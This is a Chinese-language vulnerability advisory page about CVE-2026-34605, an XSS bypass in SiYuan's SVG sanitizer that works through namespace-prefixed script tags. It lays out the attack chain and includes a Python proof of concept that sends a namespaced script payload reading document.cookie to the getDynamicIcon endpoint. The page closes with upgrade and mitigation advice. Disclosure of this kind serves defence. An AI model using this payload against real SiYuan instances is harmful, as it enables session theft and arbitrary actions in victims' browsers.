IPBUF安全漏洞报告
English
CVE-2026-34605 CVSS 6.1 中危

CVE-2026-34605 SiYuan SVG命名空间绕过XSS漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-34605
漏洞类型
XSS
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
SiYuan

相关标签

XSSSVGSiYuanBypassCVE-2026-34605

漏洞概述

SiYuan个人知识管理系统在3.6.0至3.6.2之前的版本中,`SanitizeSVG`函数存在安全绕过漏洞。攻击者可利用命名空间前缀构造恶意SVG,绕过标签检查,导致浏览器解析时执行恶意脚本,造成跨站脚本攻击(XSS)。

技术细节

该漏洞源于SiYuan在3.6.0版本引入的`SanitizeSVG`函数对SVG标签的过滤逻辑缺陷。Go HTML5解析器在处理带有命名空间前缀的元素(如`<x:script>`)时,将其记录为不同的标签字符串,从而绕过了针对"script"标签的黑名单检查。然而,当浏览器以`Content-Type: image/svg+xml`解析响应时,其XML解析器会根据xmlns声明将前缀`x`解析为SVG命名空间,进而执行其中的脚本代码。由于接口未设置Content Security Policy(CSP),攻击者可诱导用户访问恶意链接,窃取用户凭据或执行任意操作。

攻击链分析

STEP 1
1. 侦察与分析
攻击者发现SiYuan的/api/icon/getDynamicIcon接口接受用户输入并返回SVG内容,且存在SanitizeSVG过滤机制。
STEP 2
2. 构造Payload
攻击者利用Go HTML5解析器特性,构造带有命名空间前缀(如x:script)的恶意SVG代码,绕过标签黑名单检查。
STEP 3
3. 诱导访问
攻击者诱导受害者访问包含恶意构造参数的URL。
STEP 4
4. 执行攻击
受害者浏览器接收到Content-Type为image/svg+xml的响应,XML解析器解析命名空间并执行其中的JavaScript代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-34605 # Target: SiYuan < 3.6.2 import requests target_url = "http://target:6806/api/icon/getDynamicIcon" # Payload using namespace prefix to bypass Go HTML5 parser tag check payload = '''<x:script xmlns:x="http://www.w3.org/2000/svg">alert(document.cookie)</x:script>''' params = { "content": payload } response = requests.get(target_url, params=params) print("Status:", response.status_code) print("Content-Type:", response.headers.get('Content-Type')) # If the response is rendered in a browser, the alert will execute.

影响范围

SiYuan 3.6.0
SiYuan 3.6.1

防御指南

临时缓解措施
建议用户立即升级SiYuan至v3.6.2或更高版本。若无法立即升级,应限制对/api/icon/getDynamicIcon接口的外部访问,或通过WAF等设备拦截包含命名空间前缀的恶意请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表